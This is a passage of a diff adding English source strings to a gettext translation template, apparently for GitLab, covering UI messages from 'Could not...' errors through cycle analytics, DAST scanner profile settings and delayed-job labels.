+msgid "CorpusManagement|Total Size: %{totalSize}"
+msgstr ""
+
+msgid "Could not add admins as members"
+msgstr ""
+
+msgid "Could not apply %{name} command."
+msgstr ""
+
+msgid "Could not archive %{design}. Please try again."
+msgstr ""
+
+msgid "Could not authorize chat nickname. Try again!"
+msgstr ""
+
+msgid "Could not change HEAD: branch '%{branch}' does not exist"
+msgstr ""
+
+msgid "Could not commit. An unexpected error occurred."
+msgstr ""
+
+msgid "Could not connect to FogBugz, check your URL"
+msgstr ""
+
+msgid "Could not connect to Sentry. Refresh the page to try again."
+msgstr ""
+
+msgid "Could not connect to Web IDE file mirror service."
+msgstr ""
+
+msgid "Could not create Wiki Repository at this time. Please try again later."
+msgstr ""
+
+msgid "Could not create environment"
+msgstr ""
+
+msgid "Could not create group"
+msgstr ""
+
+msgid "Could not create issue"
+msgstr ""
+
+msgid "Could not create project"
+msgstr ""
+
+msgid "Could not create wiki page"
+msgstr ""
+
+msgid "Could not delete chat nickname %{chat_name}."
+msgstr ""
+
+msgid "Could not delete wiki page"
+msgstr ""
+
+msgid "Could not draw the lines for job relationships"
+msgstr ""
+
+msgid "Could not find design."
+msgstr ""
+
+msgid "Could not find iteration"
+msgstr ""
+
+msgid "Could not get the data properly"
+msgstr ""
+
+msgid "Could not load the user chart. Please refresh the page to try again."
+msgstr ""
+
+msgid "Could not load usage counts. Please refresh the page to try again."
+msgstr ""
+
+msgid "Could not remove %{user} from %{group}. Cannot remove last group owner."
+msgstr ""
+
+msgid "Could not remove %{user} from %{group}. User is not a group member."
+msgstr ""
+
+msgid "Could not remove the trigger."
+msgstr ""
+
+msgid "Could not restore the group"
+msgstr ""
+
+msgid "Could not revoke impersonation token %{token_name}."
+msgstr ""
+
+msgid "Could not revoke personal access token %{personal_access_token_name}."
+msgstr ""
+
+msgid "Could not revoke project access token %{project_access_token_name}."
+msgstr ""
+
+msgid "Could not save group ID"
+msgstr ""
+
+msgid "Could not save project ID"
+msgstr ""
+
+msgid "Could not save prometheus manual configuration"
+msgstr ""
+
+msgid "Could not update the LDAP settings"
+msgstr ""
+
+msgid "Could not update wiki page"
+msgstr ""
+
+msgid "Could not upload your designs as one or more files uploaded are not supported."
+msgstr ""
+
+msgid "Couldn't assign policy to project"
+msgstr ""
+
+msgid "Country"
+msgstr ""
+
+msgid "Coverage"
+msgstr ""
+
+msgid "Coverage Fuzzing"
+msgstr ""
+
+msgid "Create"
+msgstr ""
+
+msgid "Create %{environment}"
+msgstr ""
+
+msgid "Create %{humanized_resource_name}"
+msgstr ""
+
+msgid "Create %{type}"
+msgstr ""
+
+msgid "Create New Directory"
+msgstr ""
+
+msgid "Create New Domain"
+msgstr ""
+
+msgid "Create Project"
+msgstr ""
+
+msgid "Create Value Stream"
+msgstr ""
+
+msgid "Create a GitLab account first, and then connect it to your %{label} account."
+msgstr ""
+
+msgid "Create a Mattermost team for this group"
+msgstr ""
+
+msgid "Create a local proxy for storing frequently used upstream images. %{link_start}Learn more%{link_end} about dependency proxies."
+msgstr ""
+
+msgid "Create a merge request"
+msgstr ""
+
+msgid "Create a new %{codeStart}.gitlab-ci.yml%{codeEnd} file at the root of the repository to get started."
+msgstr ""
+
+msgid "Create a new branch"
+msgstr ""
+
+msgid "Create a new file as there are no files yet. Afterwards, you'll be able to commit your changes."
+msgstr ""
+
+msgid "Create a new issue"
+msgstr ""
+
+msgid "Create a new repository"
+msgstr ""
+
+msgid "Create a personal access token on your account to pull or push via %{protocol}."
+msgstr ""
+
+msgid "Create a project pre-populated with the necessary files to get you started quickly."
+msgstr ""
+
+msgid "Create an account using:"
+msgstr ""
+
+msgid "Create an incident. Incidents are created for each alert triggered."
+msgstr ""
+
+msgid "Create and provide your GitHub %{link_start}Personal Access Token%{link_end}. You will need to select the %{code_open}repo%{code_close} scope, so we can display a list of your public and private repositories which are available to import."
+msgstr ""
+
+msgid "Create blank project"
+msgstr ""
+
+msgid "Create branch"
+msgstr ""
+
+msgid "Create commit"
+msgstr ""
+
+msgid "Create confidential merge request"
+msgstr ""
+
+msgid "Create confidential merge request and branch"
+msgstr ""
+
+msgid "Create directory"
+msgstr ""
+
+msgid "Create empty repository"
+msgstr ""
+
+msgid "Create epic"
+msgstr ""
+
+msgid "Create file"
+msgstr ""
+
+msgid "Create from"
+msgstr ""
+
+msgid "Create from template"
+msgstr ""
+
+msgid "Create group"
+msgstr ""
+
+msgid "Create group label"
+msgstr ""
+
+msgid "Create issue"
+msgstr ""
+
+msgid "Create iteration"
+msgstr ""
+
+msgid "Create list"
+msgstr ""
+
+msgid "Create lists from labels. Issues with that label appear in that list."
+msgstr ""
+
+msgid "Create merge request"
+msgstr ""
+
+msgid "Create merge request and branch"
+msgstr ""
+
+msgid "Create milestone"
+msgstr ""
+
+msgid "Create new"
+msgstr ""
+
+msgid "Create new %{name} by email"
+msgstr ""
+
+msgid "Create new CI/CD pipeline"
+msgstr ""
+
+msgid "Create new Value Stream"
+msgstr ""
+
+msgid "Create new branch"
+msgstr ""
+
+msgid "Create new confidential %{issuableType}"
+msgstr ""
+
+msgid "Create new directory"
+msgstr ""
+
+msgid "Create new file"
+msgstr ""
+
+msgid "Create new file or directory"
+msgstr ""
+
+msgid "Create new label"
+msgstr ""
+
+msgid "Create new..."
+msgstr ""
+
+msgid "Create project"
+msgstr ""
+
+msgid "Create project label"
+msgstr ""
+
+msgid "Create release"
+msgstr ""
+
+msgid "Create requirement"
+msgstr ""
+
+msgid "Create snippet"
+msgstr ""
+
+msgid "Create tag %{tagName}"
+msgstr ""
+
+msgid "Create wildcard: %{searchTerm}"
+msgstr ""
+
+msgid "Create your first page"
+msgstr ""
+
+msgid "Create your group"
+msgstr ""
+
+msgid "Create/import your first project"
+msgstr ""
+
+msgid "CreateGroup|You don’t have permission to create a subgroup in this group."
+msgstr ""
+
+msgid "CreateGroup|You don’t have permission to create groups."
+msgstr ""
+
+msgid "CreateTag|Tag"
+msgstr ""
+
+msgid "CreateTokenToCloneLink|create a personal access token"
+msgstr ""
+
+msgid "CreateValueStreamForm|%{name} (default)"
+msgstr ""
+
+msgid "CreateValueStreamForm|'%{name}' Value Stream created"
+msgstr ""
+
+msgid "CreateValueStreamForm|'%{name}' Value Stream saved"
+msgstr ""
+
+msgid "CreateValueStreamForm|Add another stage"
+msgstr ""
+
+msgid "CreateValueStreamForm|Add stage"
+msgstr ""
+
+msgid "CreateValueStreamForm|All default stages are currently visible"
+msgstr ""
+
+msgid "CreateValueStreamForm|Code stage start"
+msgstr ""
+
+msgid "CreateValueStreamForm|Create Value Stream"
+msgstr ""
+
+msgid "CreateValueStreamForm|Create from default template"
+msgstr ""
+
+msgid "CreateValueStreamForm|Create from no template"
+msgstr ""
+
+msgid "CreateValueStreamForm|Create new Value Stream"
+msgstr ""
+
+msgid "CreateValueStreamForm|Default stages"
+msgstr ""
+
+msgid "CreateValueStreamForm|Default stages can only be hidden or re-ordered"
+msgstr ""
+
+msgid "CreateValueStreamForm|Edit Value Stream"
+msgstr ""
+
+msgid "CreateValueStreamForm|Editing stage"
+msgstr ""
+
+msgid "CreateValueStreamForm|End event"
+msgstr ""
+
+msgid "CreateValueStreamForm|End event label"
+msgstr ""
+
+msgid "CreateValueStreamForm|End event: "
+msgstr ""
+
+msgid "CreateValueStreamForm|Enter stage name"
+msgstr ""
+
+msgid "CreateValueStreamForm|Enter value stream name"
+msgstr ""
+
+msgid "CreateValueStreamForm|Issue stage end"
+msgstr ""
+
+msgid "CreateValueStreamForm|Maximum length %{maxLength} characters"
+msgstr ""
+
+msgid "CreateValueStreamForm|Name is required"
+msgstr ""
+
+msgid "CreateValueStreamForm|New stage"
+msgstr ""
+
+msgid "CreateValueStreamForm|Plan stage start"
+msgstr ""
+
+msgid "CreateValueStreamForm|Please select a start event first"
+msgstr ""
+
+msgid "CreateValueStreamForm|Please select an end event"
+msgstr ""
+
+msgid "CreateValueStreamForm|Recover hidden stage"
+msgstr ""
+
+msgid "CreateValueStreamForm|Restore defaults"
+msgstr ""
+
+msgid "CreateValueStreamForm|Restore stage"
+msgstr ""
+
+msgid "CreateValueStreamForm|Save Value Stream"
+msgstr ""
+
+msgid "CreateValueStreamForm|Select end event"
+msgstr ""
+
+msgid "CreateValueStreamForm|Select start event"
+msgstr ""
+
+msgid "CreateValueStreamForm|Stage %{index}"
+msgstr ""
+
+msgid "CreateValueStreamForm|Stage name already exists"
+msgstr ""
+
+msgid "CreateValueStreamForm|Stage name is required"
+msgstr ""
+
+msgid "CreateValueStreamForm|Start event"
+msgstr ""
+
+msgid "CreateValueStreamForm|Start event changed, please select a valid end event"
+msgstr ""
+
+msgid "CreateValueStreamForm|Start event label"
+msgstr ""
+
+msgid "CreateValueStreamForm|Start event: "
+msgstr ""
+
+msgid "CreateValueStreamForm|Update stage"
+msgstr ""
+
+msgid "CreateValueStreamForm|Value Stream name"
+msgstr ""
+
+msgid "Created"
+msgstr ""
+
+msgid "Created %{epicTimeagoDate}"
+msgstr ""
+
+msgid "Created %{timestamp}"
+msgstr ""
+
+msgid "Created At"
+msgstr ""
+
+msgid "Created On"
+msgstr ""
+
+msgid "Created a branch and a merge request to resolve this issue."
+msgstr ""
+
+msgid "Created branch '%{branch_name}' and a merge request to resolve this issue."
+msgstr ""
+
+msgid "Created by %{job}"
+msgstr ""
+
+msgid "Created by me"
+msgstr ""
+
+msgid "Created by:"
+msgstr ""
+
+msgid "Created date"
+msgstr ""
+
+msgid "Created issue %{issueLink}"
+msgstr ""
+
+msgid "Created issue %{issueLink} at %{projectLink}"
+msgstr ""
+
+msgid "Created merge request %{mergeRequestLink}"
+msgstr ""
+
+msgid "Created merge request %{mergeRequestLink} at %{projectLink}"
+msgstr ""
+
+msgid "Created on"
+msgstr ""
+
+msgid "Created on %{created_at}"
+msgstr ""
+
+msgid "Created on:"
+msgstr ""
+
+msgid "Creates a branch and a merge request to resolve this issue."
+msgstr ""
+
+msgid "Creates branch '%{branch_name}' and a merge request to resolve this issue."
+msgstr ""
+
+msgid "Creating"
+msgstr ""
+
+msgid "Creating epic"
+msgstr ""
+
+msgid "Creating graphs uses the data from the Prometheus server. If this takes a long time, ensure that data is available."
+msgstr ""
+
+msgid "Creating pack file bitmaps makes housekeeping take a little longer but bitmaps should accelerate 'git clone' performance."
+msgstr ""
+
+msgid "Creation date"
+msgstr ""
+
+msgid "Credentials"
+msgstr ""
+
+msgid "CredentialsInventory|GPG Keys"
+msgstr ""
+
+msgid "CredentialsInventory|No credentials found"
+msgstr ""
+
+msgid "CredentialsInventory|Personal Access Tokens"
+msgstr ""
+
+msgid "CredentialsInventory|SSH Keys"
+msgstr ""
+
+msgid "Critical vulnerabilities present"
+msgstr ""
+
+msgid "Cron Timezone"
+msgstr ""
+
+msgid "Cron time zone"
+msgstr ""
+
+msgid "Crossplane"
+msgstr ""
+
+msgid "Current"
+msgstr ""
+
+msgid "Current Branch"
+msgstr ""
+
+msgid "Current Project"
+msgstr ""
+
+msgid "Current forks will keep their visibility level."
+msgstr ""
+
+msgid "Current node"
+msgstr ""
+
+msgid "Current node must be the primary node or you will be locking yourself out"
+msgstr ""
+
+msgid "Current password"
+msgstr ""
+
+msgid "Current vulnerabilities count"
+msgstr ""
+
+msgid "CurrentUser|Buy Pipeline minutes"
+msgstr ""
+
+msgid "CurrentUser|Edit profile"
+msgstr ""
+
+msgid "CurrentUser|One of your groups is running out"
+msgstr ""
+
+msgid "CurrentUser|Preferences"
+msgstr ""
+
+msgid "CurrentUser|Start an Ultimate trial"
+msgstr ""
+
+msgid "CurrentUser|Upgrade"
+msgstr ""
+
+msgid "Custom Attributes"
+msgstr ""
+
+msgid "Custom Git clone URL for HTTP(S)"
+msgstr ""
+
+msgid "Custom analyzers: language support"
+msgstr ""
+
+msgid "Custom hostname (for private commit emails)"
+msgstr ""
+
+msgid "Custom metrics"
+msgstr ""
+
+msgid "Custom notification events"
+msgstr ""
+
+msgid "Custom notification levels are the same as participating levels. With custom notification levels you will also receive notifications for select events. To find out more, check out %{notificationLinkStart} notification emails%{notificationLinkEnd}."
+msgstr ""
+
+msgid "Custom project templates"
+msgstr ""
+
+msgid "Custom project templates have not been set up for groups that you are a member of. They are enabled from a group’s settings page. Contact your group’s Owner or Maintainer to setup custom project templates."
+msgstr ""
+
+msgid "Custom range"
+msgstr ""
+
+msgid "Custom range (UTC)"
+msgstr ""
+
+msgid "CustomCycleAnalytics|Add a stage"
+msgstr ""
+
+msgid "CustomCycleAnalytics|Add stage"
+msgstr ""
+
+msgid "CustomCycleAnalytics|Editing stage"
+msgstr ""
+
+msgid "CustomCycleAnalytics|End event label"
+msgstr ""
+
+msgid "CustomCycleAnalytics|New stage"
+msgstr ""
+
+msgid "CustomCycleAnalytics|Stage name already exists"
+msgstr ""
+
+msgid "CustomCycleAnalytics|Start event label"
+msgstr ""
+
+msgid "Customer Portal"
+msgstr ""
+
+msgid "Customizable by an administrator."
+msgstr ""
+
+msgid "Customizable by owners."
+msgstr ""
+
+msgid "Customize colors"
+msgstr ""
+
+msgid "Customize how FogBugz email addresses and usernames are imported into GitLab. In the next step, you'll be able to select the projects you want to import."
+msgstr ""
+
+msgid "Customize icon"
+msgstr ""
+
+msgid "Customize language and region related settings."
+msgstr ""
+
+msgid "Customize name"
+msgstr ""
+
+msgid "Customize your pipeline configuration and coverage report."
+msgstr ""
+
+msgid "Customize your pipeline configuration."
+msgstr ""
+
+msgid "CustomizeHomepageBanner|Do you want to customize this page?"
+msgstr ""
+
+msgid "CustomizeHomepageBanner|Go to preferences"
+msgstr ""
+
+msgid "CustomizeHomepageBanner|This page shows a list of your projects by default but it can be changed to show projects' activity, groups, your to-do list, assigned issues, assigned merge requests, and more. You can change this under \"Homepage content\" in your preferences"
+msgstr ""
+
+msgid "Cycle Time"
+msgstr ""
+
+msgid "CycleAnalyticsEvent|%{label_reference} label was added to the issue"
+msgstr ""
+
+msgid "CycleAnalyticsEvent|%{label_reference} label was added to the merge request"
+msgstr ""
+
+msgid "CycleAnalyticsEvent|%{label_reference} label was removed from the issue"
+msgstr ""
+
+msgid "CycleAnalyticsEvent|%{label_reference} label was removed from the merge request"
+msgstr ""
+
+msgid "CycleAnalyticsEvent|Issue closed"
+msgstr ""
+
+msgid "CycleAnalyticsEvent|Issue created"
+msgstr ""
+
+msgid "CycleAnalyticsEvent|Issue first added to a board"
+msgstr ""
+
+msgid "CycleAnalyticsEvent|Issue first associated with a milestone"
+msgstr ""
+
+msgid "CycleAnalyticsEvent|Issue first associated with a milestone or issue first added to a board"
+msgstr ""
+
+msgid "CycleAnalyticsEvent|Issue first mentioned in a commit"
+msgstr ""
+
+msgid "CycleAnalyticsEvent|Issue label was added"
+msgstr ""
+
+msgid "CycleAnalyticsEvent|Issue label was removed"
+msgstr ""
+
+msgid "CycleAnalyticsEvent|Issue last edited"
+msgstr ""
+
+msgid "CycleAnalyticsEvent|Merge request closed"
+msgstr ""
+
+msgid "CycleAnalyticsEvent|Merge request created"
+msgstr ""
+
+msgid "CycleAnalyticsEvent|Merge request first commit time"
+msgstr ""
+
+msgid "CycleAnalyticsEvent|Merge request first deployed to production"
+msgstr ""
+
+msgid "CycleAnalyticsEvent|Merge request label was added"
+msgstr ""
+
+msgid "CycleAnalyticsEvent|Merge request label was removed"
+msgstr ""
+
+msgid "CycleAnalyticsEvent|Merge request last build finish time"
+msgstr ""
+
+msgid "CycleAnalyticsEvent|Merge request last build start time"
+msgstr ""
+
+msgid "CycleAnalyticsEvent|Merge request last edited"
+msgstr ""
+
+msgid "CycleAnalyticsEvent|Merge request merged"
+msgstr ""
+
+msgid "CycleAnalyticsStage|Code"
+msgstr ""
+
+msgid "CycleAnalyticsStage|Issue"
+msgstr ""
+
+msgid "CycleAnalyticsStage|Plan"
+msgstr ""
+
+msgid "CycleAnalyticsStage|Review"
+msgstr ""
+
+msgid "CycleAnalyticsStage|Staging"
+msgstr ""
+
+msgid "CycleAnalyticsStage|Test"
+msgstr ""
+
+msgid "CycleAnalyticsStage|Total"
+msgstr ""
+
+msgid "CycleAnalyticsStage|is not available for the selected group"
+msgstr ""
+
+msgid "CycleAnalyticsStage|should be under a group"
+msgstr ""
+
+msgid "CycleAnalytics|%{selectedLabelsCount} selected (%{maxLabels} max)"
+msgstr ""
+
+msgid "CycleAnalytics|%{stageCount} stages selected"
+msgstr ""
+
+msgid "CycleAnalytics|All stages"
+msgstr ""
+
+msgid "CycleAnalytics|Date"
+msgstr ""
+
+msgid "CycleAnalytics|Days to completion"
+msgstr ""
+
+msgid "CycleAnalytics|Display chart filters"
+msgstr ""
+
+msgid "CycleAnalytics|No stages selected"
+msgstr ""
+
+msgid "CycleAnalytics|Number of tasks"
+msgstr ""
+
+msgid "CycleAnalytics|Only %{maxLabels} labels can be selected at this time"
+msgstr ""
+
+msgid "CycleAnalytics|Project selected"
+msgid_plural "CycleAnalytics|%d projects selected"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "CycleAnalytics|Select labels"
+msgstr ""
+
+msgid "CycleAnalytics|Show"
+msgstr ""
+
+msgid "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} label"
+msgid_plural "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} labels"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "CycleAnalytics|Showing data for group '%{groupName}' and %{selectedProjectCount} projects from %{startDate} to %{endDate}"
+msgstr ""
+
+msgid "CycleAnalytics|Showing data for group '%{groupName}' from %{startDate} to %{endDate}"
+msgstr ""
+
+msgid "CycleAnalytics|Stages"
+msgstr ""
+
+msgid "CycleAnalytics|Tasks by type"
+msgstr ""
+
+msgid "CycleAnalytics|The given date range is larger than 180 days"
+msgstr ""
+
+msgid "CycleAnalytics|The total time spent in the selected stage for the items that were completed on each date. Data limited to the last 500 items."
+msgstr ""
+
+msgid "CycleAnalytics|Total days to completion"
+msgstr ""
+
+msgid "CycleAnalytics|Type of work"
+msgstr ""
+
+msgid "CycleAnalytics|group dropdown filter"
+msgstr ""
+
+msgid "CycleAnalytics|not allowed for the given start event"
+msgstr ""
+
+msgid "CycleAnalytics|project dropdown filter"
+msgstr ""
+
+msgid "CycleAnalytics|stage dropdown"
+msgstr ""
+
+msgid "DAG visualization requires at least 3 dependent jobs."
+msgstr ""
+
+msgid "DAST Scans"
+msgstr ""
+
+msgid "DNS"
+msgstr ""
+
+msgid "Dashboard"
+msgstr ""
+
+msgid "Dashboard uid not found"
+msgstr ""
+
+msgid "DashboardProjects|All"
+msgstr ""
+
+msgid "DashboardProjects|Personal"
+msgstr ""
+
+msgid "DashboardProjects|Trending"
+msgstr ""
+
+msgid "Dashboards"
+msgstr ""
+
+msgid "Dashboard|%{firstProject} and %{secondProject}"
+msgstr ""
+
+msgid "Dashboard|%{firstProject}, %{rest}, and %{secondProject}"
+msgstr ""
+
+msgid "Dashboard|Unable to add %{invalidProjects}. This dashboard is available for public projects, and private projects in groups with a Premium plan."
+msgstr ""
+
+msgid "DastProfiles|A passive scan monitors all HTTP messages (requests and responses) sent to the target. An active scan attacks the target to find potential vulnerabilities."
+msgstr ""
+
+msgid "DastProfiles|AJAX spider"
+msgstr ""
+
+msgid "DastProfiles|Active"
+msgstr ""
+
+msgid "DastProfiles|Additional request headers (Optional)"
+msgstr ""
+
+msgid "DastProfiles|Are you sure you want to delete this profile?"
+msgstr ""
+
+msgid "DastProfiles|Authentication"
+msgstr ""
+
+msgid "DastProfiles|Authentication URL"
+msgstr ""
+
+msgid "DastProfiles|Branch missing"
+msgstr ""
+
+msgid "DastProfiles|Could not create the scanner profile. Please try again."
+msgstr ""
+
+msgid "DastProfiles|Could not create the site profile. Please try again."
+msgstr ""
+
+msgid "DastProfiles|Could not delete saved scan. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not delete saved scans:"
+msgstr ""
+
+msgid "DastProfiles|Could not delete scanner profile. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not delete scanner profiles:"
+msgstr ""
+
+msgid "DastProfiles|Could not delete site profile. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not delete site profiles:"
+msgstr ""
+
+msgid "DastProfiles|Could not fetch saved scans. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not fetch scanner profiles. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not fetch site profiles. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not update the scanner profile. Please try again."
+msgstr ""
+
+msgid "DastProfiles|Could not update the site profile. Please try again."
+msgstr ""
+
+msgid "DastProfiles|DAST Scan"
+msgstr ""
+
+msgid "DastProfiles|Debug messages"
+msgstr ""
+
+msgid "DastProfiles|Delete profile"
+msgstr ""
+
+msgid "DastProfiles|Do you want to discard this scanner profile?"
+msgstr ""
+
+msgid "DastProfiles|Do you want to discard this site profile?"
+msgstr ""
+
+msgid "DastProfiles|Do you want to discard your changes?"
+msgstr ""
+
+msgid "DastProfiles|Edit profile"
+msgstr ""
+
+msgid "DastProfiles|Edit scanner profile"
+msgstr ""
+
+msgid "DastProfiles|Edit site profile"
+msgstr ""
+
+msgid "DastProfiles|Enable Authentication"
+msgstr ""
+
+msgid "DastProfiles|Enter URLs in a comma-separated list."
+msgstr ""
+
+msgid "DastProfiles|Enter headers in a comma-separated list."
+msgstr ""
+
+msgid "DastProfiles|Error Details"
+msgstr ""
+
+msgid "DastProfiles|Excluded URLs"
+msgstr ""
+
+msgid "DastProfiles|Excluded URLs (Optional)"
+msgstr ""
+
+msgid "DastProfiles|Hide debug messages"
+msgstr ""
+
+msgid "DastProfiles|Include debug messages in the DAST console output."
+msgstr ""
+
+msgid "DastProfiles|Manage DAST scans"
+msgstr ""
+
+msgid "DastProfiles|Manage profiles"
+msgstr ""
+
+msgid "DastProfiles|Minimum = 0 (no timeout enabled), Maximum = 2880 minutes"
+msgstr ""
+
+msgid "DastProfiles|Minimum = 1 second, Maximum = 3600 seconds"
+msgstr ""
+
+msgid "DastProfiles|New scanner profile"
+msgstr ""
+
+msgid "DastProfiles|New site profile"
+msgstr ""
+
+msgid "DastProfiles|No scanner profiles created yet"
+msgstr ""
+
+msgid "DastProfiles|No scans saved yet"
+msgstr ""
+
+msgid "DastProfiles|No site profiles created yet"
+msgstr ""
+
+msgid "DastProfiles|Not Validated"
+msgstr ""
+
+msgid "DastProfiles|Passive"
+msgstr ""
+
+msgid "DastProfiles|Password"
+msgstr ""
+
+msgid "DastProfiles|Password form field"
+msgstr ""
+
+msgid "DastProfiles|Please enter a valid timeout value"
+msgstr ""
+
+msgid "DastProfiles|Profile name"
+msgstr ""
+
+msgid "DastProfiles|Request header names and values. Headers are added to every request made by DAST."
+msgstr ""
+
+msgid "DastProfiles|Request headers"
+msgstr ""
+
+msgid "DastProfiles|Run scan"
+msgstr ""
+
+msgid "DastProfiles|Run the AJAX spider, in addition to the traditional spider, to crawl the target site."
+msgstr ""
+
+msgid "DastProfiles|Save commonly used configurations for target sites and scan specifications as profiles. Use these with an on-demand scan."
+msgstr ""
+
+msgid "DastProfiles|Save profile"
+msgstr ""
+
+msgid "DastProfiles|Saved Scans"
+msgstr ""
+
+msgid "DastProfiles|Scan"
+msgstr ""
+
+msgid "DastProfiles|Scan mode"
+msgstr ""
+
+msgid "DastProfiles|Scanner Profile"
+msgstr ""
+
+msgid "DastProfiles|Scanner Profiles"
+msgstr ""
+
+msgid "DastProfiles|Scanner name"
+msgstr ""
+
+msgid "DastProfiles|Select branch"
+msgstr ""
+
+msgid "DastProfiles|Show debug messages"
+msgstr ""
+
+msgid "DastProfiles|Site Profile"
+msgstr ""
+
+msgid "DastProfiles|Site Profiles"
+msgstr ""
+
+msgid "DastProfiles|Site name"
+msgstr ""
+
+msgid "DastProfiles|Spider timeout"
+msgstr ""
+
+msgid "DastProfiles|Target"
+msgstr ""
+
+msgid "DastProfiles|Target URL"
+msgstr ""
+
+msgid "DastProfiles|Target timeout"
+msgstr ""
+
+msgid "DastProfiles|The maximum number of minutes allowed for the spider to traverse the site."
+msgstr ""
+
+msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
+msgstr ""
+
+msgid "DastProfiles|This profile is currently being used in a policy."
+msgstr ""
+
+msgid "DastProfiles|This scanner profile is currently being used by a policy. To make edits you must remove it from the active policy."
+msgstr ""
+
+msgid "DastProfiles|This site profile is currently being used by a policy. To make edits you must remove it from the active policy."
+msgstr ""
+
+msgid "DastProfiles|Turn on AJAX spider"
+msgstr ""
+
+msgid "DastProfiles|URL"
+msgstr ""
+
+msgid "DastProfiles|URLs to skip during the authenticated scan. Use regular expression syntax to match multiple URLs."
+msgstr ""
+
+msgid "DastProfiles|Username"
+msgstr ""
+
+msgid "DastProfiles|Username form field"
+msgstr ""
+
+msgid "DastProfiles|Validated"
+msgstr ""
+
+msgid "DastProfiles|Validation status"
+msgstr ""
+
+msgid "DastSiteValidation|Copy HTTP header to clipboard"
+msgstr ""
+
+msgid "DastSiteValidation|Could not create validation token. Please try again."
+msgstr ""
+
+msgid "DastSiteValidation|Could not revoke validation. Please try again."
+msgstr ""
+
+msgid "DastSiteValidation|Download validation text file"
+msgstr ""
+
+msgid "DastSiteValidation|Header validation"
+msgstr ""
+
+msgid "DastSiteValidation|Retry validation"
+msgstr ""
+
+msgid "DastSiteValidation|Revoke validation"
+msgstr ""
+
+msgid "DastSiteValidation|Step 1 - Choose site validation method"
+msgstr ""
+
+msgid "DastSiteValidation|Step 2 - Add following HTTP header to your site"
+msgstr ""
+
+msgid "DastSiteValidation|Step 2 - Add following text to the target site"
+msgstr ""
+
+msgid "DastSiteValidation|Step 3 - Confirm header location and validate"
+msgstr ""
+
+msgid "DastSiteValidation|Step 3 - Confirm text file location and validate"
+msgstr ""
+
+msgid "DastSiteValidation|Text file validation"
+msgstr ""
+
+msgid "DastSiteValidation|The validation has failed. Please try again."
+msgstr ""
+
+msgid "DastSiteValidation|The validation is in progress. Please wait..."
+msgstr ""
+
+msgid "DastSiteValidation|This will affect %d other profile targeting the same URL."
+msgid_plural "DastSiteValidation|This will affect %d other profiles targeting the same URL."
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "DastSiteValidation|Validate"
+msgstr ""
+
+msgid "DastSiteValidation|Validate target site"
+msgstr ""
+
+msgid "DastSiteValidation|Validated"
+msgstr ""
+
+msgid "DastSiteValidation|Validating..."
+msgstr ""
+
+msgid "DastSiteValidation|Validation failed"
+msgstr ""
+
+msgid "DastSiteValidation|Validation failed for %{url}. %{retryButtonStart}Retry validation%{retryButtonEnd}."
+msgstr ""
+
+msgid "DastSiteValidation|Validation succeeded. Both active and passive scans can be run against the target site."
+msgstr ""
+
+msgid "DastSiteValidation|You will not be able to run active scans against %{url}."
+msgstr ""
+
+msgid "Data is still calculating..."
+msgstr ""
+
+msgid "Database update failed"
+msgstr ""
+
+msgid "Datasource name not found"
+msgstr ""
+
+msgid "Date"
+msgstr ""
+
+msgid "Date picker"
+msgstr ""
+
+msgid "Date range"
+msgstr ""
+
+msgid "Date range cannot exceed %{maxDateRange} days."
+msgstr ""
+
+msgid "Date range is greater than %{quarter_days} days"
+msgstr ""
+
+msgid "Date range must be shorter than %{max_range} days."
+msgstr ""
+
+msgid "Day of month"
+msgstr ""
+
+msgid "DayTitle|F"
+msgstr ""
+
+msgid "DayTitle|M"
+msgstr ""
+
+msgid "DayTitle|S"
+msgstr ""
+
+msgid "DayTitle|W"
+msgstr ""
+
+msgid "Days"
+msgstr ""
+
+msgid "Days to merge"
+msgstr ""
+
+msgid "Dear Administrator,"
+msgstr ""
+
+msgid "Debian package already exists in Distribution"
+msgstr ""
+
+msgid "Debug"
+msgstr ""
+
+msgid "Dec"
+msgstr ""
+
+msgid "December"
+msgstr ""
+
+msgid "Decline"
+msgstr ""
+
+msgid "Decline and sign out"
+msgstr ""
+
+msgid "Decompressed archive size validation failed."
+msgstr ""
+
+msgid "Default CI configuration path"
+msgstr ""
+
+msgid "Default artifacts expiration"
+msgstr ""
+
+msgid "Default branch"
+msgstr ""
+
+msgid "Default branch and protected branches"
+msgstr ""
+
+msgid "Default classification label"
+msgstr ""
+
+msgid "Default deletion delay"
+msgstr ""
+
+msgid "Default description template for issues"
+msgstr ""
+
+msgid "Default description template for merge requests"
+msgstr ""
+
+msgid "Default first day of the week"
+msgstr ""
+
+msgid "Default first day of the week in calendars and date pickers."
+msgstr ""
+
+msgid "Default initial branch name"
+msgstr ""
+
+msgid "Default project deletion protection"
+msgstr ""
+
+msgid "Default projects limit"
+msgstr ""
+
+msgid "Default: Map a FogBugz account ID to a full name"
+msgstr ""
+
+msgid "DefaultBranchLabel|default"
+msgstr ""
+
+msgid "Define a custom deploy freeze pattern with %{cronSyntaxStart}cron syntax%{cronSyntaxEnd}"
+msgstr ""
+
+msgid "Define a custom pattern with cron syntax"
+msgstr ""
+
+msgid "Define approval settings."
+msgstr ""
+
+msgid "Define approval settings. %{linkStart}Learn more.%{linkEnd}"
+msgstr ""
+
+msgid "Define custom rules for what constitutes spam, independent of Akismet"
+msgstr ""
+
+msgid "Define environments in the deploy stage(s) in %{code_open}.gitlab-ci.yml%{code_close} to track deployments here."
+msgstr ""
+
+msgid "Definition"
+msgstr ""
+
+msgid "Delayed Project Deletion (%{adjourned_deletion})"
+msgstr ""
+
+msgid "DelayedJobs|Are you sure you want to run %{jobName} immediately? Otherwise this job will run automatically after its timer finishes."
+msgstr ""
+
+msgid "DelayedJobs|Are you sure you want to run %{job_name} immediately? This job will run automatically after it's timer finishes."
+msgstr ""
+
+msgid "DelayedJobs|Start now"
+msgstr ""
+
+msgid "DelayedJobs|Unschedule"
+msgstr ""
+
+msgid "DelayedJobs|delayed"
+msgstr ""
